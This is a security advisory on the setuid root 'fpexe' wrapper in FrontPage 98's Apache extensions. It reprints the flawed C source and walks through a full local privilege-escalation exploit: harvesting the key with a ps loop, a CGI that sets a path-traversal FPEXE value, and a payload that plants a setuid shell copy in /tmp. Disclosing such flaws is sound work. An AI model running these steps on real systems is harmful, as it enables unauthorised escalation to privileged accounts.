COMMAND

    fpexe

SYSTEMS AFFECTED

    Systems using Microsoft's FrontPage 98 extensions for Apache

PROBLEM

    Marc Slemko found following.  Microsoft's FrontPage 98 server side
    extensions  for  Apache  under  Unix  include  a small setuid root
    program (fpexe) to allow the FrontPage CGIs to be run as the  user
    who owns the pages as opposed to them all running as the user  the
    web  server  runs  as.   This  is  necessary  to get around gaping
    loopholes that occur when all FrontPage documents are owned by the
    user the web server runs as.

    There are, however, gaping holes  in this fpexe program that  make
    it easily exploitable to eventually gain root.  Following  details
    were taken from:

        http://www.worldgate.com/~marcs/fp/

    The information below talks  about using Microsoft's FrontPage  98
    extensions  with  Apache  on  Unix  with Microsoft's mod_frontpage
    changes.  This do not apply  to running it on any other  server or
    to running it on Unix without the Microsoft mod_frontpage  changes
    or  to  running  it  on  Windows  NT.  There  are,  however, other
    security issues  on such  servers, some  of which  are similar  to
    those in the FrontPage 97  extensions.  Note that the  Unix server
    extensions  seem  to   be  written  in   part  or  completely   by
    Ready-to-Run Software Inc.   (RTR) for Microsoft (treated  here as
    Microsoft's product because it is,  no matter who wrote it).  This
    discussion is specific to the FrontPage 98 extensions.

    It had appeared like Microsoft  had increased the security of  the
    extensions  in  the  FP98  version  available from Microsoft's Web
    Site.  However, a closer examination reveals startling flaws. What
    they have done is  make a small setuid  root wrapper that the  web
    server calls.  This wrapper than setuid()s to the appropriate user
    and runs the requested  FP CGI as that  user. The problem lies  in
    the fact that the wrapper ("fpexe") is written very poorly.  While
    making such a  wrapper secure can  be difficult, the  gaping holes
    in this program show a complete lack of understanding of  security
    in the Unix environment.

    The fpexe program is available  below to inspect yourself. It  was
    originally  posted  in  RTR's  FrontPage  FAQ. This version is not
    exactly the same as the one currently distributed (at least it  is
    not the same as the one in  the BSD/OS 2.1 kit), but it is  close.
    Both appear to exhibit the same failings.

    /* * Copyright (c) 1995-7 Microsoft Corporation
     */
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/stat.h>
    #include <ctype.h>
    #include <time.h>
    #if !defined(bsdi) && !defined(hpux) && !defined(sun) && !defined(linux)
    #include <sys/mode.h>
    #endif

    #define KEYFILE "/usr/local/frontpage/currentversion/apache-fp/suidkey.%d"
    #define FPDIR "/usr/local/frontpage/currentversion/exes/"

    extern char **environ;

    void
    die(const char *msg) {
        time_t t = time(NULL);
        char timebuf[26];

        strcpy( timebuf, ctime(&t) );
        timebuf[24] = '\0';
        fprintf(stderr, "[%s] %s\n", timebuf, msg);
        exit(1);
    }

    void
    main(int argc,char **argv) {
        char work[80];
        char key[129];
        char buf[80];
        char * p, **pp, **ppi;
        FILE *f;
        struct stat fs;

        if (geteuid()) die("FrontPage SUID Error -- not running as root");

    #if defined sun && ! defined __SVR4
        sprintf( buf, KEYFILE, (int) getpgrp(0) );
    #else
        sprintf( buf, KEYFILE, (int) getpgrp() );
    #endif

        if (stat( buf, &fs ) || (fs.st_mode & (S_IRWXG|S_IRWXO)) || fs.st_uid)

          die("FrontPage SUID Keyfile Security Violation");

        f = fopen( buf, "r");
        fgets( key, 129, f );
        fclose(f);

      if (!getenv("FPEXE") || !getenv("FPUID") ||
          !getenv("FPGID") || !getenv("FPKEY")) {
        die("Frontpage SUID Environment Error");
      }

      if (strcmp(key, getenv("FPKEY")))
        die("FrontPage SUID Key Security Violation");

      strcpy( work, FPDIR );
      strcat( work, getenv("FPEXE") );

      p = getenv("FPUID");
      if (p && isdigit(*p) && atoi(p)) setuid(atoi(p));
      else die("FrontPage SUID Security Violation");

      p = getenv("FPGID"); if (p && isdigit(*p)) setgid(atoi(p));
      argv[0] = work;
      umask(022);

      /* Remove FPKEY from the environment before calling FP CGI Program */
      pp = environ;
      while (*pp) { /* in a loop just in case */
        if (!strncmp(*pp,"FPKEY=",6)) {
          for (ppi = pp;;++ppi)
            if (!(*ppi = *(ppi + 1)))
              break;
        }
        pp++;
      }
      execv( argv[0], argv );
      return;
      }

    When refered to the FP CGI programs, it refers to the three  files
    normally  referenced  under  the  _vti_bin  directory:  shtml.exe,
    admin.exe and author.exe.

    The key in  this discussion is  the fact that  nothing is stopping
    anyone from trying  to run this  fpexe wrapper. If  they can trick
    it into running, they can possible gain privileges they shouldn't.

    Before you can understand the  holes in the FP server  extensions,
    you need to understand what is meant when talking about the "key".
    When the Frontpage-modified Apache server starts up, it  generates
    a pseudo-random string of 128 ASCII characters as a key. This  key
    is  written  to  a  file  that  is  only readable by the user that
    starts Apache; normally  root. The server  than passes the  key to
    fpexe. Since fpexe is setuid  root, it can compare the  key stored
    on disk with the one it was passed to be sure they match; if  not,
    it refuses to run.  This  is used in an attempt to  guarantee that
    the only thing calling fpexe is the web server. Used properly this
    is a powerful part of possible security precautions.

    There are a number of problems with the setuid root fpexe program.
    The more obvious problems include:

    * Return  codes from  library calls  are not  properly checked. An
      example:

        f = fopen( buf, "r");
        fgets( key, 129, f );
        fclose(f);

      If fopen() failed (easy to make  it do so with ulimit -n),  then
      if  your  system  did  not  core  dump  on a fgets() on a closed
      descriptor you would end up  with an empty key. It  is obviously
      easy to guess an empty key.  I am not aware of any  systems that
      exhibit this  exact problem,  but it  is possible.  Return codes
      need to be checked, especially in setuid programs.

    * Proper bounds checking is not done. This leads to obvious buffer
      overflows. An example:

        strcpy( work, FPDIR );
        strcat( work, getenv("FPEXE") );

      No details of what this does,  but if you could cause this  code
      to be executed, you could  insert your own code on  most systems
      and likely  gain access  to the  UID the  program is  running as
      (root).   This  proves  to  be  an  unnecessary effort to go to,
      because this code is only executed if you have the correct  key;
      if you have the correct key,  there are far easier ways to  gain
      access.  Buffer  overflows are one  of the most  popular (albeit
      normally  boring)  types   of  new  holes   in  programs   being
      publicized.

    * It does not clean the environment variables before starting  the
      CGI. Again, this means you can  gain access to the UID that  the
      program  runs  as  (not  root).  If  the rest of the program was
      securely written, this could possibly be an issue however it  is
      of little consequence currently due to the gaping holes in other
      areas.

    * It assumes that if you have the key, then you are authorized  to
      have it run any program as  nearly any user you tell it  to. The
      process you  are running  also needs  to be  in the same process
      group as the  web server; all  CGIs run by  the server, however,
      are in the same process group so if you can run a CGI script you
      can work around the second  check. It does no further  checks to
      be sure you are running as a user that should be allowed to  run
      FrontPage  CGIs  (other  than  disallowing  UID  0; the compiled
      version  also  disallows  gid  0,  however  the  source  version
      doesn't) or that  you are running  a Frontpage related  program.
      This means that if you get the key file, you can gain access  to
      any non-root  UID on  the server.   On 99%  of boxes,  that will
      give you root.  For example, if  binaries are owned  by bin then
      become bin and replace  one that is run  by root from cron.  The
      possibilities are endless once you obtain this level of access.

    * And,  finally, the  worst: it  passes the  key to  fpexe via  an
      environment variable! On most systems, environment variables are
      available via "ps -e". This means that anyone with access to run
      programs on the system (and there are often more people than you
      think that are able to do this, due to things such as CGIs)  can
      see it  as it  is being  passed from  the web  server to  fpexe.
      Recall that  once you  have the  key, there  is little remaining
      before you can get full access to the system.

    By now,  it should  be obvious  that there  is a  serious security
    problem  in  the  FrontPage  98  server  extensions.  Here  is one
    demonstration; do not think that this is the only way or that just
    because you prevent  one step of  this process from  working it is
    any more difficult to exploit the security holes.

    I. First I have to find the  key. This can be done by using  ps to
       get the environment from fpexe.  To do this, you first  setup a
       loop running  (this assumes  a real  aka. Bourne  shell; if you
       use the bastard C-shell it obviously won't work as written):

        while true; do ps axuwwe -U nobody | grep FPKEY; done

    II. Then I used ZeusBench,  a very simple HTTP benchmark  program,
        to generate load on the server:

        zb localhost /fp/_vti_bin/shtml.exe -c 50 -t 30

        You can get ZeusBench from:

        http://www.worldgate.com/~marcs/fp/zb.c

        Any method of  generating traffic could  be used, including  a
        web browser. If you use  a very inefficient method of  looking
        for  a  process,  you  need  to  generate  lots  of traffic to
        increase your chance of finding one. It certainly isn't likely
        to happen  on the  first request.  The requests  do have to be
        made to a FP CGI script so it will call fpexe.

   III. Before long, you had what you wanted from ps (manually wrapped):

        nobody   28008  0.0  0.2   180   76  ??  DN    6:51PM    0:00.01
        SCRIPT_URL=/fp/ SCRIPT_URI=http://localhost/fp/ FPUID=1000 FPGID=1000
        FPEXE=/_vti_bin/shtml.exe FPKEY=9AF675E332F7583776C241A4795FE387D8E5DC80E77
        3FAB70794848FDEFB173FF14CDCDC44F3FAAF144A8C95A81C04BF5FC2B9EFDE3C8DCA1049CD
        F760364E59 HTTP_USER_AGENT=ZeusBench/1.0 HTTP_ACCEPT=*/*
        PATH=/sbin:/usr/sbin:/bin:/usr/local/bin:/usr/bin:/usr/local/sbin/
        SERVER_SOFTWARE=Apache/1.2.5-dev SERVER_NAME=localhost SERVER_PORT=80
        REMOTE_HOST=localhost REMOTE_ADDR=127.0.0.1
        DOCUMENT_ROOT=/usr/local/etc/httpd/htdocs SERVER_ADMIN=marcs@znep.com
        SCRIPT_FILENAME=/usr/local/frontpage/currentversion/apache-fp/_vti_bin/fpexe
        REMOTE_PORT=2849 GATEWAY_INTERFACE=CGI/1.1 SERVER_PROTOCOL=HTTP/1.0
        REQUEST_METHOD=GET QUERY_STRING= REQUEST_URI=/fp/_vti_bin/shtml.exe
        SCRIPT_NAME=/fp/_vti_bin/shtml.exe fpexe

    IV. Then you need  to use the key  to make fpexe think  you're the
        web server.   You can't  just run  this from  a normal  shell,
        since you  need to  be in  the same  process group  as the web
        server.  A simple CGI suffices:

        #!/bin/sh
        echo Content-type: text/plain
        echo
        export FPUID=3;
        export FPGID=3;
        export FPEXE=../../../../../../../../tmp/gotcha;
        export FPKEY=9AF675E332F7583776C241A4795FE387D8E5DC80E773FAB70794848FDEFB173FF1
        4CDCDC44F3FAAF144A8C95A81C04BF5FC2B9EFDE3C8DCA1049CDF760364E59
        /usr/local/frontpage/currentversion/apache-fp/_vti_bin/fpexe  2>&1

    V. You need a program for it to run (/tmp/gotcha in this example):

        #!/bin/sh
        /usr/bin/id
        cp /bin/sh /tmp/.mysh
        chmod u+s /tmp/.mysh

    VI. Then you simply make a  HTTP request for the CGI script.   You
        can then run /tmp/.mysh at your leisure to gain access to  UID
        3 (bin on most systems) and do what you want from there.

SOLUTION

    This is only  in the FrontPage  98 extensions and  is only in  the
    Apache version; it is completely unrelated to any Apache code  and
    only occurs in the Apache version simply because that is the  only
    version  where  this  functionality  is  provided.   MS  made  fix
    available at:

        http://www.microsoft.com/frontpage/wpp/serk

    The Apache web server has  a suEXEC wrapper designed to  allow for
    a similar thing; that is, execution of CGI scripts under a  user's
    own UID. It is very  restrictive (some would say anal)  about what
    it allows: there  is a reason  for that, as  Microsoft's obviously
    failed attempt at security shows. It is possible that suEXEC could
    be adapted to function  in conjunction with FrontPage,  however it
    will not work without source modifications.